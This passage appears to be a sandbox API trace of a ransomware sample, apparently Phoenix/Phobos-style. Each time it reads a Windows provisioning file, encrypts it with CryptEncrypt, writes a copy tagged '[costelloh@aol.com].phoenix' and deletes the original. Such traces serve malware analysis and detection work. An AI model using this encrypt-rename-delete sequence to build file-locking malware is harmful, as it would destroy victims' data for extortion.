	[0259.367] CryptEncrypt (in: hKey=0x151540, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x290, dwBufLen=0x290 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x290) returned 1
	[0259.367] WriteFile (in: hFile=0x310, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x290, lpOverlapped=0x0) returned 1
	[0259.368] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x1517c0) returned 1
	[0259.368] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0259.368] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0259.368] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0259.368] WriteFile (in: hFile=0x310, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0259.368] CryptDestroyKey (hKey=0x151540) returned 1
	[0259.368] CloseHandle (hObject=0x2e0) returned 1
	[0259.368] CloseHandle (hObject=0x310) returned 1
	[0259.368] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\79__Connections_Cellular_Tele2 (Croatia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\79__connections_cellular_tele2 (croatia)_i0$(__mvid)@wap.provxml")) returned 1
	[0259.369] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0259.369] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\7__Connections_Cellular_Hutchison - 3 (Australia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\7__connections_cellular_hutchison - 3 (australia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0259.370] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=727) returned 1
	[0259.370] CloseHandle (hObject=0x310) returned 1
	[0259.371] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\7__Connections_Cellular_Hutchison - 3 (Australia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\7__connections_cellular_hutchison - 3 (australia)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0259.371] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\7__Connections_Cellular_Hutchison - 3 (Australia)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\7__connections_cellular_hutchison - 3 (australia)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0259.371] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\7__Connections_Cellular_Hutchison - 3 (Australia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\7__connections_cellular_hutchison - 3 (australia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0259.371] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0259.371] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0259.371] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\7__Connections_Cellular_Hutchison - 3 (Australia)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\7__connections_cellular_hutchison - 3 (australia)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0259.372] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1517c0) returned 1
	[0259.372] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0259.372] ReadFile (in: hFile=0x310, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2d7, lpOverlapped=0x0) returned 1
	[0259.540] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0) returned 1
	[0259.540] WriteFile (in: hFile=0x2e0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2e0, lpOverlapped=0x0) returned 1
	[0259.541] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151480) returned 1
	[0259.541] CryptSetKeyParam (hKey=0x151480, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0259.541] CryptEncrypt (in: hKey=0x151480, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0, dwBufLen=0xc0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0) returned 1
	[0259.541] CryptDestroyKey (hKey=0x151480) returned 1
	[0259.541] WriteFile (in: hFile=0x2e0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x172, lpOverlapped=0x0) returned 1
	[0259.541] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0259.541] CloseHandle (hObject=0x310) returned 1
	[0259.541] CloseHandle (hObject=0x2e0) returned 1
	[0259.541] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\7__Connections_Cellular_Hutchison - 3 (Australia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\7__connections_cellular_hutchison - 3 (australia)_i0$(__mvid)@wap.provxml")) returned 1
	[0259.579] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0259.579] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\86__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\86__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244
	[0259.580] GetFileSizeEx (in: hFile=0x244, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=480) returned 1
	[0259.580] CloseHandle (hObject=0x244) returned 1
	[0259.580] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\86__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\86__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20
	[0259.580] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\86__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\86__cellular_persimsettings_$(__iccid)_appid.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0259.580] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\86__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\86__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244
	[0259.580] SetFilePointerEx (in: hFile=0x244, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0259.580] SetFilePointerEx (in: hFile=0x244, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0259.580] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\86__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\86__cellular_persimsettings_$(__iccid)_appid.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0259.581] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151300) returned 1
	[0259.581] CryptSetKeyParam (hKey=0x151300, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0259.581] ReadFile (in: hFile=0x244, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x1e0, lpOverlapped=0x0) returned 1
	[0259.582] CryptEncrypt (in: hKey=0x151300, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x1f0, dwBufLen=0x1f0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x1f0) returned 1
	[0259.582] WriteFile (in: hFile=0x2e0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x1f0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x1f0, lpOverlapped=0x0) returned 1
	[0259.584] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151200) returned 1
	[0259.584] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0259.584] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x90, dwBufLen=0x90 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x90) returned 1
	[0259.584] CryptDestroyKey (hKey=0x151200) returned 1
	[0259.584] WriteFile (in: hFile=0x2e0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x142, lpOverlapped=0x0) returned 1
	[0259.584] CryptDestroyKey (hKey=0x151300) returned 1
	[0259.584] CloseHandle (hObject=0x244) returned 1
	[0259.584] CloseHandle (hObject=0x2e0) returned 1
	[0259.584] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\86__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\86__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 1
	[0259.606] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0259.606] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\87__Connections_Cellular_O2 (Czech Republic)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\87__connections_cellular_o2 (czech republic)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0259.606] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=712) returned 1
	[0259.607] CloseHandle (hObject=0x2e0) returned 1
	[0259.607] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\87__Connections_Cellular_O2 (Czech Republic)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\87__connections_cellular_o2 (czech republic)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0259.607] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\87__Connections_Cellular_O2 (Czech Republic)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\87__connections_cellular_o2 (czech republic)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0259.607] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\87__Connections_Cellular_O2 (Czech Republic)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\87__connections_cellular_o2 (czech republic)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0259.607] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0259.607] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0259.607] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\87__Connections_Cellular_O2 (Czech Republic)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\87__connections_cellular_o2 (czech republic)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244
	[0259.608] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1513c0) returned 1
	[0259.608] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0259.608] ReadFile (in: hFile=0x2e0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2c8, lpOverlapped=0x0) returned 1
	[0259.640] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0) returned 1
	[0259.640] WriteFile (in: hFile=0x244, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2d0, lpOverlapped=0x0) returned 1
	[0259.641] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x1517c0) returned 1
	[0259.642] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0259.642] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0259.642] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0259.642] WriteFile (in: hFile=0x244, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0259.642] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0259.642] CloseHandle (hObject=0x2e0) returned 1
	[0259.642] CloseHandle (hObject=0x244) returned 1
	[0259.642] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\87__Connections_Cellular_O2 (Czech Republic)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\87__connections_cellular_o2 (czech republic)_i0$(__mvid)@wap.provxml")) returned 1
	[0259.643] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0259.643] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\88__Connections_Cellular_T-Mobile Czech Republic (Czech Republic)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\88__connections_cellular_t-mobile czech republic (czech republic)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244
	[0259.644] GetFileSizeEx (in: hFile=0x244, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=750) returned 1
	[0259.644] CloseHandle (hObject=0x244) returned 1
	[0259.644] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\88__Connections_Cellular_T-Mobile Czech Republic (Czech Republic)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\88__connections_cellular_t-mobile czech republic (czech republic)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0259.644] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\88__Connections_Cellular_T-Mobile Czech Republic (Czech Republic)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\88__connections_cellular_t-mobile czech republic (czech republic)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0259.644] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\88__Connections_Cellular_T-Mobile Czech Republic (Czech Republic)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\88__connections_cellular_t-mobile czech republic (czech republic)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244
	[0259.645] SetFilePointerEx (in: hFile=0x244, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0259.645] SetFilePointerEx (in: hFile=0x244, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0259.645] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\88__Connections_Cellular_T-Mobile Czech Republic (Czech Republic)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\88__connections_cellular_t-mobile czech republic (czech republic)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0259.646] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151300) returned 1
	[0259.646] CryptSetKeyParam (hKey=0x151300, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0259.646] ReadFile (in: hFile=0x244, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2ee, lpOverlapped=0x0) returned 1
	[0259.647] CryptEncrypt (in: hKey=0x151300, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2f0, dwBufLen=0x2f0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2f0) returned 1
	[0259.648] WriteFile (in: hFile=0x2e0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2f0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2f0, lpOverlapped=0x0) returned 1
	[0259.648] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151180) returned 1
	[0259.648] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0259.648] CryptEncrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xe0, dwBufLen=0xe0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xe0) returned 1
	[0259.648] CryptDestroyKey (hKey=0x151180) returned 1
	[0259.648] WriteFile (in: hFile=0x2e0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x192, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x192, lpOverlapped=0x0) returned 1
	[0259.649] CryptDestroyKey (hKey=0x151300) returned 1
	[0259.649] CloseHandle (hObject=0x244) returned 1
	[0259.649] CloseHandle (hObject=0x2e0) returned 1
	[0259.649] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\88__Connections_Cellular_T-Mobile Czech Republic (Czech Republic)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\88__connections_cellular_t-mobile czech republic (czech republic)_i0$(__mvid)@wap.provxml")) returned 1
	[0259.650] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
